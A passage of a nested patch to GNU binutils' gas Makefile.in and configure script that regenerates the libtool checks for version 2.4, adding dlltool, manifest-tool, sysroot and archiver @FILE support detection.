++++ b/gas/Makefile.in
+@@ -384,6 +384,7 @@ CYGPATH_W = @CYGPATH_W@
+ DATADIRNAME = @DATADIRNAME@
+ DEFS = @DEFS@
+ DEPDIR = @DEPDIR@
++DLLTOOL = @DLLTOOL@
+ DSYMUTIL = @DSYMUTIL@
+ DUMPBIN = @DUMPBIN@
+ ECHO_C = @ECHO_C@
+@@ -425,6 +426,7 @@ LTLIBINTL = @LTLIBINTL@
+ LTLIBOBJS = @LTLIBOBJS@
+ MAINT = @MAINT@
+ MAKEINFO = @MAKEINFO@
++MANIFEST_TOOL = @MANIFEST_TOOL@
+ MKDIR_P = @MKDIR_P@
+ MKINSTALLDIRS = @MKINSTALLDIRS@
+ MSGFMT = @MSGFMT@
+@@ -468,6 +470,7 @@ abs_builddir = @abs_builddir@
+ abs_srcdir = @abs_srcdir@
+ abs_top_builddir = @abs_top_builddir@
+ abs_top_srcdir = @abs_top_srcdir@
++ac_ct_AR = @ac_ct_AR@
+ ac_ct_CC = @ac_ct_CC@
+ ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ am__include = @am__include@
+diff --git a/gas/configure b/gas/configure
+index 5f8c8493589..998727b6108 100755
+--- a/gas/configure
++++ b/gas/configure
+@@ -692,8 +692,11 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
+ RANLIB
++ac_ct_AR
+ AR
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -810,6 +813,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_plugins
+ enable_largefile
+@@ -1517,6 +1521,8 @@ Optional Packages:
+ --with-pic try to use only PIC/non-PIC objects [default=use
+ both]
+ --with-gnu-ld assume the C compiler uses GNU ld [default=no]
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+ --with-cpu=CPU default cpu variant is CPU (currently only supported
+ on ARC)
+ --with-gnu-ld assume the C compiler uses GNU ld default=no
+@@ -4652,8 +4658,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -4693,7 +4699,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -5386,8 +5392,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -5436,6 +5442,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -5452,6 +5532,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -5620,7 +5705,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -5779,6 +5865,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -5794,6 +5895,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -5808,8 +6060,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -5825,7 +6079,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -5845,11 +6099,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -5865,7 +6123,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -5884,6 +6142,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -5895,29 +6157,81 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
++
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
+
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
+
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
+
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
+
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
+
+
+
+@@ -6264,8 +6578,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -6301,6 +6615,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -6342,6 +6657,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -6353,7 +6680,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -6379,8 +6706,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -6390,8 +6717,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -6428,6 +6755,19 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
++
++
++
++
++
+
+
+
+@@ -6444,6 +6784,42 @@ fi
+
+
+
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
+
+
+
+@@ -6655,6 +7031,123 @@ esac
+
+ need_locks="$enable_libtool_lock"
+
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
++ fi
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
++
++
+
+ case $host_os in
+ rhapsody* | darwin*)
+@@ -7218,6 +7711,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -7802,8 +8297,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -7969,6 +8462,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -8031,7 +8530,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
